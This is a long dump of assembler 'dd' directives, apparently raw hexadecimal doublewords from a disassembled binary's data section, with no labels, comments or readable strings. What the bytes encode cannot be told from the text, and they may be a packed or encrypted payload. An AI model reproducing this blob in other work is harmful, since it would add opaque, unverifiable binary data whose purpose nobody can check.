		dd 540F2D07h, 458BC87h,	0E9155144h, 0EC2F0004h,	0AEA007CBh
		dd 1348B923h, 2130E09Bh, 1068324Ch, 0F31DBDA7h,	14CCA5D3h
		dd 62D4000h, 5CA1C558h,	0B05B3E53h, 51348B03h, 6925B31Fh
		dd 59A0C889h, 0EEAB0018h, 3CF067Ah, 7C00E34Dh, 4853BEDh
		dd 4B12BBh, 39475E0Dh, 644103A5h, 50827A5Fh, 0C29982ACh
		dd 58456E2h, 0EA772CEBh, 0B7004C1Fh, 3DE50AD0h,	0E85995B5h
		dd 0EBF1C380h, 302BCDEDh, 2819AB89h, 0D470B8B9h, 0F0D1684Ah
		dd 7FD8B613h, 0A70E0709h, 0B9F22072h, 18E08B55h, 32D11FCh
		dd 630ABBF7h, 75984916h, 5F4A6B26h, 174554F0h, 0AD8D882Fh
		dd 72645010h, 0BB931117h, 0F24EA0B2h, 274806B8h, 2530A708h
		dd 18542B2Eh, 0C529E782h, 685C66h, 5ED3C344h, 5074AE71h
		dd 68DE3209h, 0BD7870A5h, 0C7C36C40h, 44F046BDh, 2C379989h
		dd 0CBC4F9ACh, 18481CE4h, 8915CFF0h, 20976B4Eh,	4B2B28E8h
		dd 91149CBFh, 0FB90063Ch, 7C198B63h, 168F400Fh,	9943C705h
		dd 34F47015h, 3034EE98h, 0A2F05703h, 2F28C9CDh,	685F701Bh
		dd 396BF440h, 0E29D4EEAh, 0F7C7A02Ah, 1EB8756Fh, 5B8AFA5Bh
		dd 13E89988h, 957B31B7h, 82D980B1h, 6990EF19h, 0A04781Bh
		dd 8BC72F11h, 9812F491h, 2C0BE861h, 0F8C38088h,	0C6518146h
		dd 40FB3860h, 0C04E9550h, 706A24C8h, 0F332206Eh, 6044674Fh
		dd 8CE02B3Ch, 91902AFFh, 8996F8C8h, 1CD8600Bh, 9D33C2Dh
		dd 125C5C10h, 0ACACBD0Eh, 979B0186h, 0FBCFF28Fh, 7D07E607h
		dd 1403AF85h, 0D8743702h, 5B28E558h, 4E0F298h, 0D6CDE2CAh
		dd 5CF224E2h, 0F28430h,	558E6F46h, 1AE0D97Fh, 0A14A28B0h
		dd 0EDD39CF6h, 409A8ECh, 0FCB6E78Ah, 1401EABFh,	9AF82FCBh
		dd 6E2A5821h, 0C94F006Ch, 0AB3801AAh, 801C999Ch, 0E77DCAF7h
		dd 0B8EE07D6h, 2CA3CC14h, 64E35F98h, 673198A2h,	123189F0h
		dd 0A2183029h, 0EDA60220h, 62122590h, 60085C02h, 0B283B48Fh
		dd 843AF582h, 3F50B57Fh, 0D0C6E680h, 0B1B6A7E9h, 7B900B62h
		dd 0C5A860FBh, 10FF00C8h, 5811571Dh, 8DE5095h, 97E0553Ah
		dd 383A4019h, 8028C7Fh,	8BD4A744h, 301D55C1h, 7C808191h
		dd 77F1A3CFh, 20DC144Bh, 2B0F8941h, 0FA00DC6Bh,	0C617EB67h
		dd 0E012B03Dh, 14CC2B99h, 3CB344C7h, 0EE4D5720h, 8007252Bh
		dd 2B57FCC2h, 0F49CFECCh, 85487E71h, 0C8E45A36h, 8DD30005h
		dd 0CFB9DA7Ch, 0CF20BADh, 0A021CF4h, 0F25E009h,	4B50709Ch
		dd 4880CCF2h, 0AB4FA878h, 5E0BCC16h, 0DC985677h, 0FB626F03h
		dd 0F9E10AC9h, 0DC2B15F0h, 0BF8969C0h, 90C7D878h, 43588495h
		dd 956B5C1Dh, 0D7149C10h, 8674A4A8h, 8C71D491h,	7701A118h
		dd 9CB87193h, 5C206473h, 0CD441C9Eh, 0F24AFD0Fh, 0C4F04F64h
		dd 0C8329754h, 7D468D6h, 0CAE4D2EEh, 342D70EFh,	61BDAF29h
		dd 2E14D17Ch, 0EB9232Ch, 62C4E5B2h, 75D080B0h, 6E95C8E9h
		dd 56E894CCh, 0D8008F46h, 5DB0ADB6h, 3A009F5Ch,	0BF2E5E81h
		dd 4C341735h, 0A5F8A0ACh, 2E231F8Ch, 0B4880BCh,	5369A3E1h
		dd 0A4AC3926h, 0E4E04716h, 0B2BD035Ah, 4907159Fh, 2FCA680Ah
		dd 981CC40h, 0CBE9EE90h, 0B7C882Fh, 7C799D07h, 24E03D03h
		dd 30C5C76h, 4C42AE5Bh,	9B81AEDh, 0A000B9CAh, 0B43427FEh
		dd 52603086h, 0BEE264B6h, 906DF530h, 62B000A6h,	10E3B2AEh
		dd 3A9577BDh, 0C835DFF0h, 697C6200h, 24D7524h, 0E32890CEh
		dd 0C804BB33h, 0BEA874ADh, 647A1D8Ch, 67510032h, 9CF38082h
		dd 0B2EA740h, 0CBDD652Bh, 5DD1A0D1h, 0EA00E418h, 0F10797D3h
		dd 4A79B808h, 49CF289h,	91B3E32Eh, 4A5C8812h, 0AE608361h
		dd 6EF08987h, 0F06D0450h, 0AFB6B7CCh, 0D0E3A817h, 4431B9E2h
		dd 4E7C2CCCh, 2E54F17Eh, 0FAD5A489h, 1E2992E8h,	0C2114F24h
		dd 0B2FE753Dh, 0AF77A040h, 7308CCB9h, 462F092Bh, 3E3C3775h
		dd 0A2FEEB13h, 407700A4h, 0F7A84448h, 9C97516h,	49CF3C9Dh
		dd 41E5AC5Eh, 948E0E0h
		dd 0B87FFB28h, 95560420h, 30B0E054h, 0FF8024F8h, 8191005Eh
		dd 3B49E364h, 2E00E644h, 0D2CD47F5h, 4E1054F7h,	90F25Ah
		dd 0A4085D14h, 4BB4E9Eh, 401ADF2Eh, 0BCA4E83Bh,	0EE028C9Dh
		dd 2DEF3185h, 61505EC5h, 780FE3CEh, 0AF423A30h,	747C0974h
		dd 93E1507Ch, 3E574F02h, 0DA2A9910h, 40F09C80h,	0EAD03F45h
		dd 5EFBD700h, 358B66E7h, 482F1F41h, 41CDD2F0h, 0E05A114Ch
		dd 3E607DCCh, 0FF3028F2h, 0CD0DEA00h, 4A67C7F9h, 509F0282h
		dd 0FD088CBDh, 0C0993BC0h, 4225F4EAh, 1ACD8F9h,	82C8FE0Bh
		dd 72E37947h, 0F1410638h, 25301254h, 50D4185Eh,	40121B6Ah
		dd 600020F2h, 266F2EBDh, 9401D922h, 5FF14F8Eh, 0E823CFC2h
		dd 1045E70Bh, 0C0CA2440h, 61E5A112h, 83B218F6h,	0FD5D6030h
		dd 1852F2E0h, 6097621Bh, 735F140Fh, 0D4FC4016h,	65BDC120h
		dd 9811892Ch, 0D4478071h, 0D03D7749h, 59393401h, 1062F042h
		dd 9E12B400h, 7D46D89Ah, 37CE6E1Dh, 4067994Fh, 51EB6C4Dh
		dd 0EA21095Fh, 0A05E6B41h, 7728DF67h, 2F032E60h, 45849AB6h
		dd 8086479Ch, 0DC3EF559h, 2DD2D309h, 2784F68Fh,	950E10E6h
		dd 92B12BA2h, 0A8EECF3h, 0A22571B0h, 1AD8A42Eh,	95C3D8A8h
		dd 1BE1E0BEh, 8800C78Fh, 16A3F9C0h, 4A2F4A61h, 4A8CE7DEh
		dd 0EDA8B8B9h, 455FDF00h, 433B76DAh, 9BE01117h,	8B4F1023h
		dd 1AFC862Eh, 377DA8A4h, 0BF4B0BD0h, 5C04FCFEh,	5400477Bh
		dd 0F1822DE6h, 5EA4CB25h, 9D467474h, 33BDE05h, 4BD8046Eh
		dd 0FDBE01A7h, 0BAC2AB77h, 42B074A8h, 445EF246h, 4000CDEBh
		dd 0BAA74FD4h, 0ED5C3701h, 94C7CF2Fh, 23406F2Fh, 0FEF7029Dh
		dd 0BA578513h, 5BACF954h, 87660D4h, 0F31B4A88h,	406E5F48h
		dd 5D0D8603h, 0A29A7C75h, 6E1CC561h, 5FCC7431h,	0C154CC2Bh
		dd 0E285F125h, 0DCF87420h, 79B29500h, 5FD1370Eh, 4C544874h
		dd 4BB31F10h, 27C02C8Ch, 0C8D05F03h, 72846BDh, 25BD57FBh
		dd 492CB032h, 1DFE44F2h, 645C9E2Fh, 1E290098h, 13201FEEh
		dd 7900AF76h, 5FB7353Dh, 4FEA4796h, 0E18CA6E8h,	0DF70349Ah
		dd 40884F62h, 0BCA701Ch, 0EE00F0B7h, 0D0562A24h, 3B98691Fh
		dd 6810D0Ah, 9567F457h,	0C8C7FCAh, 0FCD16BFh, 0ACCC5220h
		dd 1FC8C11Ch, 687D9540h, 6A29E7C0h, 0A8B910F1h,	9BC5B680h
		dd 1C7BF7Dh, 8F1114FDh,	3F197AFBh, 2B287801h, 702E8633h
		dd 87DD1134h, 12D446BDh, 0B113DCA7h, 0DCCA2A68h, 0D880F322h
		dd 1180B83Fh, 40894E48h, 7FC569C0h, 0F561DA5Ch,	4B1DD2E0h
		dd 5054143Bh, 148C87E8h, 0B4899BCFh, 85EB8680h,	5C00B012h
		dd 3368965Dh, 34F0CBh, 628DF61h, 2FA258DCh, 0CA8BB718h
		dd 7FC649C8h, 80BA5203h, 427DAC90h, 0B6F9178Fh,	0F43FA017h
		dd 0B51FBB23h, 0E2CD2B04h, 0B987F4C1h, 26E5C100h, 1A04DBDh
		dd 0FA8E6BE7h, 0C714E498h, 7CD40995h, 193ADCC4h, 7FA0823Dh
		dd 777238C1h, 0F1ED3800h, 0D6259B11h, 0DE147E90h, 0B170F500h
		dd 747E9FA5h, 0B4C7959Ch, 1CD644A4h, 5454DAC7h,	0CF1782A9h
		dd 25BCA828h, 0D6607CEAh, 0D0D90400h, 63BCA7D2h, 501D80AAh
		dd 0C0106D97h, 0BB3F6CFBh, 2188B900h, 2DF25B7Ah, 8758202Fh
		dd 0B72B2C17h, 8B7A24F1h, 0E3DC84h, 5CA507E1h, 50BE262Fh
		dd 69004811h, 0F57C9F81h, 0B106C07Eh, 0AE1699D0h, 0F881B5A1h
		dd 601A77A2h, 0E30004B5h, 93D35E58h, 9D140AF5h,	5A70947Bh
		dd 16CB0145h, 0A29813ADh, 48987D26h, 83B4104Ch,	9EED1001h
		dd 0BF343167h, 0EB030A68h, 54B84BFh, 640B5898h,	6D7CE985h
		dd 0E60F7CCh, 0FFE7F0E2h, 0B0B40607h, 0BF4D6B88h, 0CF45DD07h
		dd 2620EF17h, 20FB2896h, 0C2779B5Fh, 0C34A9400h, 0D02780D5h
		dd 548C1F25h, 0C4BF82BDh, 0B7771807h, 0BC60006Ch, 0FC2875FBh
		dd 434D52Ch, 0E3272B09h, 0DBD05A00h, 2DC29C1Ch,	82A70FE3h
		dd 0A0968924h, 70082EE0h, 64E03D37h, 0DB50B6A5h, 0D8F15100h
		dd 2FD67528h, 71527976h, 0E0C6B549h, 0A4A8CC4Bh, 0A5EC145Ch
		dd 920A128Ch, 0A23CB8D7h, 2C1321ABh, 0F8D06BD3h, 9726B42h
		dd 0BDC5E755h, 69140177h, 0B52E107Ah, 489A7E64h, 7ECEBBC0h
		dd 6BFC170Bh, 0CA0174B3h, 515A8FE2h, 10D0CB2Ah,	997CD358h
		dd 4361003Ch, 2C7F38D5h, 0ED9D204h, 9BEEF25Ah, 0B72D8050h
		dd 0FA14D210h, 23E202BEh, 0B405072Bh, 0E0284D77h, 0BC5AA5Eh
		dd 9F840E5Fh, 3A8EC447h, 0C82F6B20h, 65150F5Ch,	0AC009DEFh
		dd 8B9345A2h, 0DAA63C04h, 0C0882EA1h, 0D00F1030h, 84FE249Ah
		dd 0C869E507h, 0A2F0A3h, 0C4E2459h, 19AE670Dh, 2292FE01h
		dd 935AA138h, 1ACE23Ah,	9ED106E9h, 4E2BCCD7h, 58694594h
		dd 4940747Ch, 7DC84FAh,	9CC147CBh, 20CA9256h, 0C1104D5Fh
		dd 0D45D22C5h, 77716BDAh, 7C7B9225h, 18F57ECCh,	0F5ED0082h
		dd 0E69D27E2h, 384B5CC3h, 0CA87F0A9h, 0D0AE852Fh, 90B32BA4h
		dd 27CFCB80h, 0CC74A50Eh, 1D57F161h, 547C41C6h,	8E04702h
		dd 0BCB6A858h, 605B4CF4h, 13EBAF10h, 24E4174Eh,	0C0640052h
		dd 455DF836h, 8495EC2Fh, 0FCB9F2E8h, 0D0ADC788h, 913B098Ch
		dd 2446C195h, 7B66A201h, 0B6AB0328h, 303C962Bh,	0DC92984Bh
		dd 0D468279Eh, 2816AE84h, 0AE8BF804h, 0E82865AEh, 20F280C4h
		dd 48030Ch, 0E95612C6h,	7F1D878Ah, 0BF652404h, 0D34049CFh
		dd 0A1FCA04h, 0D060672Fh, 2DA09090h, 2879A53Bh,	5ACB9509h
		dd 3CB517C8h, 0EA34C45Fh, 0B059AC80h, 611D00E0h, 0CE4B9111h
		dd 6B5351ECh, 80243998h, 9311C81Ah, 0FEDF5A99h,	91589991h
		dd 0C71106A3h, 0F8D8907Bh, 5AB32744h, 0B915CC8h, 8C5AE170h
		dd 2D30F0h, 0AF5A7CF9h,	1551D4DEh, 7421A14Ah, 6801B033h
		dd 29698379h, 0D02B15ECh, 5AE3132Eh, 9CB697h, 2295FC1Dh
		dd 76F3E4h, 2B78FE8Ah, 6399BBDFh, 41F2E302h, 5FCBC5B1h
		dd 49AAA484h, 53E010F3h, 0CD8E4C3Ch, 0CE084400h, 765A42B4h
		dd 0C2811402h, 57ABF037h, 53BF5C21h, 43F909CFh,	0A055CC02h
		dd 4E113274h, 0A61A0EC7h, 0D466665Ah, 0F3203874h, 98494BC4h
		dd 0A3402FF0h, 0EB5C391Dh, 844564Ah, 4A8EA83Ch,	71E4A981h
		dd 666B80A4h, 0E85545B9h, 0CC89EAB0h, 8C82AE1h,	67F70010h
		dd 0D331E3AAh, 0E02700Dh, 0FB904D88h, 124C5EABh, 8018F819h
		dd 0F56A067Bh, 0BED70073h, 0FA4B3668h, 3E3BC116h, 10385CA5h
		dd 0C20980ABh, 0B7779CCBh, 861D002Ch, 0C8DA794Fh, 0C6166D76h
		dd 0DC00C3C0h, 9DB02B8Fh, 0ED0D04E5h, 0A3B861ECh, 4C8A4E74h
		dd 0AC186C8h, 826EB6A0h, 0BD02CD10h, 0DC145C67h, 17A55D00h
		dd 634F77E0h, 24A22633h, 0F2841A8h, 11142468h, 0D622E925h
		dd 17DD7A44h, 8F8D91B0h, 681FFC9h, 0BA5B5250h, 0EAA8236Eh
		dd 5F283EC8h, 0D680D901h, 0C41F3874h, 27D4312Bh, 326FD465h
		dd 0B4E2F04Ah, 889CF05Bh, 9CCC3D5Bh, 21A863F3h,	43800BE3h
		dd 14256985h, 81B871A9h, 0AFA00FCAh, 14CB6B23h,	6A6BE680h
		dd 7B956EABh, 5A9E70C8h, 0AA8A1003h, 4F9A2E99h,	0D0B2D9h
		dd 0B96F7269h, 1CC54E36h, 40CE56C8h, 1EC12544h,	0C595F394h
		dd 1D1C11ACh, 57021752h, 204FCF96h, 67D0EF45h, 0EE49E500h
		dd 7B6A7A8h, 20591290h,	0E2A8E391h, 58AA30BBh, 2FCDC90Bh
		dd 9068F01Ch, 823F25DCh, 54403421h, 7C6F2A22h, 82762C00h
		dd 50EF3161h, 57A4029Dh, 63A50032h, 7709866Ah, 5C0FBA4Bh
		dd 14ED51C8h, 84BC9BEAh, 0F7042D86h, 88301020h,	0D31610EBh
		dd 26A834A9h, 1D88C49Fh
		dd 100C7F1Ah, 3B86A5A3h, 74BC9059h, 4E48818Fh, 0C0BA88A8h
		dd 75843B78h, 825E7138h, 873C1358h, 0CFF90044h,	8CB02D76h
		dd 409844h, 7AA33ED3h, 588BE16Ch, 0B725C712h, 0C01E0C01h
		dd 707D94CBh, 0EF070FB8h, 0F5208146h, 82CE15B7h, 0C0689D77h
		dd 9990A76Ch, 1880F194h, 0D4D0BC7h, 0F401F432h,	2F1751C1h
		dd 24037888h, 0BEFC9AFBh, 2D945810h, 9F34789Dh,	8C111C9Fh
		dd 0F58DC480h, 62021A03h, 9876CD14h, 60665F22h,	98A51320h
		dd 0BC52E6B8h, 0E229847Ch, 17A4B8CBh, 0CB4CA95h, 0AC2F5299h
		dd 0E0B6127Ch, 9C40EE0Eh, 79875B4Ch, 60B50015h,	0F625A810h
		dd 0F0096A82h, 50F75C13h, 29CB340h, 30832CB3h, 0DC4C3A57h
		dd 0E009DEA4h, 82E78335h, 5DAC6388h, 6DB5646Eh,	1543405Ch
		dd 9D172120h, 0F404A3F6h, 0CF0531FBh, 7812EA85h, 6FB848ADh
		dd 0A6506A0Eh, 0D1DA222Eh, 0B05C60A0h, 0A456828Dh, 0C01FC861h
		dd 6A09543Ch, 346F59A4h, 650F0B60h, 20E0900Ch, 9927BC43h
		dd 95C4A223h, 76BC90CDh, 0C2CE0F5Eh, 0A474441Dh, 0BC6CA94Eh
		dd 8DA00C0h, 0CEF78974h, 0BC4A65FAh, 8450C0E3h,	0C88F4077h
		dd 0E0E8EDB5h, 1D53BCA8h, 0FF4F14E2h, 0DF2F9CC0h, 74BE4937h
		dd 0D874EB27h, 3218F374h, 71CDD109h, 0D0828127h, 0BF1A80Eh
		dd 5CFD160h, 2124782Fh,	0E830AE95h, 22C52E76h, 0E9159768h
		dd 18AC8595h, 0E540AF2Fh, 2E1031C4h, 322CA2D1h,	71E127CCh
		dd 0AA0509ECh, 0D3B9C502h, 20DF8380h, 0F0045774h, 62214011h
		dd 0C864F4EDh, 2C24881Fh, 9B6D2B22h, 0BC1B783Ch, 0C16992Eh
		dd 0D695D85Bh, 5924005Bh, 82DA9839h, 44007780h,	2FE9BDB4h
		dd 0B5AB2299h, 0E5C5A090h, 5810040Eh, 0C000BDE7h, 0BB5138E1h
		dd 5B8E0252h, 185EDCE9h, 0BA1C605Ch, 1FB94D87h,	0D72F61C8h
		dd 0B846C13h, 58B714B3h, 0F22BEF0Ch, 0C83B0014h, 8671117Fh
		dd 63A90143h, 38C16DABh, 0EBDEC8E2h, 0C7ED4912h, 396988B2h
		dd 2D03757h, 8EE42BFDh,	0FB5C9F85h, 0E8AC2C56h,	0C42810A2h
		dd 594674h, 3D60BCCh, 13C3CD06h, 0B840688Fh, 8C9BEC78h
		dd 0CB3B5E1Fh, 0FA98208Bh, 826F749Ch, 70DC9D55h, 3136527h
		dd 60045B62h, 0F652A410h, 57EBE03Ch, 2DD40544h,	9383CF03h
		dd 1010C3C8h, 0C225BFC7h, 81890C7Bh, 76C8FC94h,	96008046h
		dd 3759D018h, 19175E5Bh, 0AF05EE57h, 10C81151h,	0FE32596h
		dd 0D4565042h, 81ADC151h, 9E591C53h, 90028418h,	67DA8A9Bh
		dd 4014D628h, 9710B62Ch, 0BE642507h, 9E61D029h,	222E9265h
		dd 4D77EBFCh, 28AE60A8h, 4802523Ch, 0E10DA643h,	4004564Eh
		dd 0B9D0085Ah, 0D829D100h, 717E4BF0h, 0F6514A1Bh, 0E38A0230h
		dd 32C47AFEh, 465EF4DEh, 0EFD40186h, 47C72FE0h,	76BC012Eh
		dd 3E464C52h, 0F80CC5h,	0B300180h, 0D89736ABh, 4A6D00DEh
		dd 6A2A7FFDh, 0C109BEE2h, 0D20F3D81h, 0C5130BECh, 2C7CEB88h
		dd 27602D6h, 9EF8BA85h,	24141CC0h, 117CF8ACh, 27F04195h
		dd 6EFAC4E7h, 3DFE0080h, 4AA1F88Eh, 0A5062BBDh,	0DE8C24B4h
		dd 0B94CC501h, 2C999A4Fh, 0D5030466h, 0EEBD7FB6h, 2B1640C9h
		dd 6E6B54CDh, 4ACE0374h, 9B17E3CDh, 7FD3BF97h, 5F55EACBh
		dd 5B0214CEh, 1150D67Ah, 0ECE05DB1h, 0E6BD95ADh, 0DC7CBE1Ch
		dd 0D8F8182Ch, 0E2015D60h, 95B53C87h, 8CC72D00h, 0D51098B4h
		dd 1FC95A09h, 0A88B7590h, 33C0E4EDh, 190FA05h, 0DB3A8850h
		dd 3AE0328Ch, 7DACA2h, 0B7EDF782h, 61892A5Dh, 0B1872107h
		dd 2350EF71h, 0C04CCF8Bh, 2C4AA2C1h, 880A8796h,	89CBA0D5h
		dd 13E09A01h, 2F2B84E1h, 8E77B0h, 16DF2166h, 7407FF8Ch
		dd 40B0014Bh, 141712CBh, 0CC74EB98h, 5723342Eh,	0E3F59400h
		dd 973F032Fh, 2E5AB094h, 9F60AC26h, 7593840Fh, 23982E98h
		dd 0BC5A009Eh, 0DCD2D608h, 2BD802B5h, 0C83D5F42h, 75CFB701h
		dd 51E9B688h, 2FACFAE6h, 4C20CCF1h, 0B3DAAE9Eh,	3D6EFA02h
		dd 7A16515Ch, 1AF00398h, 922F9910h, 14C8594Fh, 0A16A0021h
		dd 400F7B4Eh, 4909157Eh, 44CF95E1h, 225209F4h, 0B7DF06B0h
		dd 0F2571228h, 3CFD4BF8h, 514BBEBCh, 8AD6B4ADh,	0C09AC880h
		dd 2D5FDAE1h, 358C7509h, 0B89475A3h, 80F25A43h,	1AB9C30h
		dd 0A97CD2D9h, 51E70E26h, 15AA15BCh, 0F1D96286h, 0BEC8A84Eh
		dd 0C18074C0h, 0AFF6096Bh, 0F8B0A084h, 0D309C044h, 0DDBF2FBAh
		dd 0C14BC425h, 80DBE0h,	9CD0067Eh, 0FDA20F18h, 0B782912h
		dd 0C09C88ACh, 8ADC785Ah, 0B604B87Dh, 8FE32DCEh, 0EA3412BEh
		dd 6AFFE475h, 86A000E0h, 6F40BDE0h, 0F2324AE6h,	51F98BE8h
		dd 18BCF114h, 0F17006Dh, 0CC636927h, 9D7781CDh,	5E5C9904h
		dd 54E94DA4h, 2C6AAED2h, 763CBA00h, 0C0A490D1h,	0E250E500h
		dd 2B6A7363h, 0B78324FFh, 68A44010h, 0A57887B6h, 78E67D5Eh
		dd 14F542B0h, 7F268C00h, 4F16B018h, 0B1CFA0Bh, 0EAE72DFAh
		dd 0D6187Eh, 7CACCA6Fh,	0A1C8C441h, 1E7DFD05h, 0ECB0FB14h
		dd 314A60CCh, 0EB6C3C96h, 0EAD11B1Ch, 0F143D400h, 4219BCh
		dd 1DD045F0h, 12515493h, 21E8B9C0h, 2EC5BDE1h, 2EE26E47h
		dd 0AEFA9230h, 14BC5008h, 0F64AF04Dh, 6163F0D0h, 3A87FEC5h
		dd 6801087Ah, 0B19FE428h, 0CB589F67h, 0B82B2382h, 2254610Ah
		dd 9581B260h, 4704D052h, 269724B3h, 0F96B1405h,	0D00401CCh
		dd 6E078035h, 7E6FAE4h,	1B7D11E0h, 0AAA725C0h, 2DEF90D5h
		dd 14F36B20h, 73C01988h, 0B545A5D5h, 0BD171CF8h, 12EF1C59h
		dd 94CBBF03h, 0B9C016C8h, 6600E75h, 69BD2957h, 5E2F5007h
		dd 0E803DE61h, 77017E2Eh, 5357E8E2h, 1BA8860Fh,	0F85F5E22h
		dd 576E8042h, 3828F0D1h, 0BDDF8D83h, 2CB95E19h,	0E0DEB58Fh
		dd 7ED1FF2Fh, 3400DCB9h, 36D7FF2Dh, 256BBEEAh, 107F9AE1h
		dd 9FDF8B94h, 0A2F7B95Fh, 0EC43AC2Eh, 29008C1Ah, 324864A8h
		dd 1801F087h, 5E2FDD95h, 0FE958509h, 14E90CC2h,	0DA00FC37h
		dd 89E19872h, 71A916h, 0AAF980B4h, 0BD436BF0h, 61FCDC04h
		dd 0B6AB026Ah, 0A315B0E6h, 90370068h, 6EA2BB50h, 42EF1732h
		dd 0C2DD85F7h, 676DF525h, 51605DC1h, 2905D641h,	8DB85A03h
		dd 0EC10E91h, 0DF2E961h, 0C4EBF27Eh, 6604A2C2h,	27A6AA8Bh
		dd 0A0D55E0h, 3757B724h, 71BD7B20h, 39A700BEh, 0E4950B6Dh
		dd 0A20C5173h, 0DAC64727h, 78462DEBh, 45084ED4h, 0BB891D93h
		dd 964088C9h, 5B6E989Fh, 60CE87Fh, 18959D33h, 2353B71Eh
		dd 4A0BF0Bh, 0ADFB7A54h, 8D9D8262h, 7A4EFF29h, 70925BBFh
		dd 4D0EF798h, 64D876BDh, 0F4AEFF6Ah, 0EE001BC8h, 142E741Fh
		dd 152B8C1h, 0FFF5ABEBh, 861281B5h, 0E59D8976h,	35FE80DFh
		dd 2BE9811Ch, 293D0DB8h, 16282599h, 0C380C0B0h,	70E67F14h
		dd 31D77DF2h, 8D6D08EBh, 7824F948h, 0D3EF1C35h,	1D5EFEA9h
		dd 6677EFCh, 0C8B6C2DEh, 515F46F7h, 34322BAh, 82C1F2FAh
		dd 0C10859Ah, 0C18AF92Ch, 0E92A049Dh, 4C2900D8h, 0FC6EC4E0h
		dd 0C77C1D1Bh, 2793C7B3h, 24F55BEEh, 2440117Ch,	0B112C6E4h
		dd 877DD03Eh, 64CE43E6h, 6AB3ED40h, 0C82B00DAh,	1D18BF9h
		dd 0A5571B5h, 3F16238Eh, 0C98588D9h, 905D2528h,	20953161h
		dd 831518A9h, 819007C0h, 1DA19D29h, 0F70B0F47h,	0B6AE8810h
		dd 5C2BF200h, 0DBD8F4E0h, 310300A6h, 3357A266h,	9CE791BDh
		dd 88685F3Ah, 3B8025FCh, 11B5A1D0h, 4199C34Ch, 9032DB21h
		dd 1238C329h, 0A0BF64F5h, 0B702A566h, 8488F879h, 0AB7CAF23h
		dd 0CAF6D70Fh, 0FE161AA5h
		dd 1D091805h, 44863210h, 71DC1506h, 0B58D0422h,	0AA2617D4h
		dd 80E31DA6h, 2B8B5CD8h, 0EB86F700h, 0BB66D1DFh, 0E8E15BDDh
		dd 8FAD750h, 6A311072h,	1B800DE8h, 0C907FFDDh, 9C008324h
		dd 52B9F323h, 98604EA2h, 0FA5F4AABh, 1423B86Ah,	0DB05FC3Eh
		dd 215DE6F3h, 13EDC404h, 4275B909h, 0AA6DFF68h,	0E9D87FC1h
		dd 1E6743A4h, 31258254h, 0DB851290h, 88528EFCh,	2588C215h
		dd 6B52640h, 0E88FC81h,	0B8141A65h, 0AC2F91E1h,	80710BE3h
		dd 30FDA8EFh, 551C780h,	2B37FC40h, 4BDBEFD2h, 0EE892E85h
		dd 0E29D1098h, 0DCBB8132h, 303AA633h, 0D1C218ADh, 983D05Eh
		dd 0F47504E9h, 6271ED75h, 8F42D134h, 10373A2Ah,	285C480Eh
		dd 0D93CFAD8h, 6EAACA02h, 7B4B0E0Fh, 0AB3B2336h, 9B8FB95h
		dd 880DFB5Ah, 40FCEF5Dh, 56C63590h, 5A12F3FEh, 7A01BC92h
		dd 33F1958Bh, 0A08FA77Eh, 14BF58Dh, 2151D85Ah, 20B168CDh
		dd 974CFBCDh, 2D311034h, 3909E818h, 0ED01A18Fh,	5D0C4D34h
		dd 4861231Ah, 5F0005D5h, 0C2728B50h, 0C103181Bh, 0E24AC708h
		dd 0DF5819B2h, 0D4C19CCDh, 9663224Ah, 5FFEB00h,	70449479h
		dd 0E31FB309h, 0AD628413h, 0F6AE9AD4h, 414FB0FAh, 0BD130510h
		dd 93C2886Ch, 69C1836Ah, 9DA26F2Ch, 60487422h, 25DD101Ch
		dd 2DD38100h, 612C5FC9h, 7C97B870h, 775FF486h, 8D3896A8h
		dd 2050B192h, 0E1FFD956h, 2DF8605Eh, 3F3AD80h, 0DD03566Ch
		dd 5F6A46BDh, 0ABC69088h, 55C7BF6h, 616039BBh, 0EF5C8C58h
		dd 80AFF900h, 0D15F096Ah, 0C5990048h, 815778ADh, 0E805EADFh
		dd 61582297h, 30E58104h, 6F040D31h, 19B29DE3h, 7D545230h
		dd 0E728298Ch, 3401102Eh, 0BE0A4FFAh, 4EFAE8h, 6AA8FF98h
		dd 50EB00E1h, 9937064h,	114065B5h, 4C26A45Fh, 9E3A5E03h
		dd 27ECDF4Dh, 9E99C11h,	8B90C000h, 4CD3E35Fh, 512F1212h
		dd 5B6E88BEh, 0F4F9602Fh, 35572511h, 6384ACDBh,	0EFFDE180h
		dd 0BC80AEDBh, 78557F12h, 388CBF00h, 95013A75h,	28F6B29Dh
		dd 7BB4C90Ah, 9C878247h, 570498B1h, 30C1E0B3h, 0C865B985h
		dd 0E29BA67Fh, 0DCDE9853h, 89A200EFh, 42BC8051h, 0E1003FADh
		dd 0A7F373BFh, 25335F70h, 0AE09A585h, 60524D5Fh, 0C027E5A7h
		dd 319E9D02h, 550F4585h, 4F003F53h, 0F9F24CB3h,	0CE3F07D4h
		dd 0A25093A8h, 0FB559082h, 0B95F587Fh, 0E822A67Eh, 0F1BA0106h
		dd 8B3D4AD1h, 76372E9h,	0AD18E010h, 609CD280h, 0CE190965h
		dd 1B090A62h, 7494882h,	968A6106h, 0A86860BEh, 30E3215Ah
		dd 8103F800h, 59572434h, 3A90DC3Eh, 9EB01DBEh, 1E910800h
		dd 60545713h, 0EB850773h, 40BF25CAh, 0E973B9BBh, 0AF014B91h
		dd 0EA00A76Fh, 0B531B021h, 0CF13EFFFh, 871EC06Bh, 98EB0E52h
		dd 0A703A0CBh, 0A1B64F02h, 4B68B096h, 0D58201AFh, 4560BCBEh
		dd 0DAAC89CCh, 0E33D065Bh, 0F92BF3ADh, 48C738C2h, 9AAB9274h
		dd 7D18C024h, 69A6E7Ah,	0B58B9605h, 0B72669E7h,	0DF19B7FEh
		dd 1D2C657Eh, 0DD6BBA4Ah, 6FEF9F07h, 0B529B1CEh, 83EB5579h
		dd 0D2F0D73h, 0DE7ADE89h, 88112800h, 0C4637F1h,	0D43C498Ch
		dd 0A0779790h, 18044632h, 13918D29h, 5AE55096h,	12DC03Ch
		dd 2AD7D5Dh, 33BCDFE0h,	0D390B5FFh, 4608F0Fh, 3CBF6631h
		dd 0F81E8B0h, 681143C3h, 3C6F9C2h, 392E4DFh, 0DC4D84A6h
		dd 5F82CBECh, 0FAFB6948h, 6003D900h, 80F1B70Fh,	611B12CAh
		dd 825F348Dh, 35E1FEC1h, 800FD8DAh, 7D2453DCh, 0C0CF6DC9h
		dd 0AF8BC0C5h, 726E421Ah, 91968162h, 0E67E6183h, 402BE044h
		dd 0F6E105AFh, 5429BD89h, 152293D4h, 5985C72Ch,	0F6803D6Ch
		dd 8266B0CBh, 38BA697Bh, 15111FC2h, 0CC3D3984h,	0F800F285h
		dd 23619444h, 79A4DBA6h, 21E92734h, 7B27913h, 0C305000h
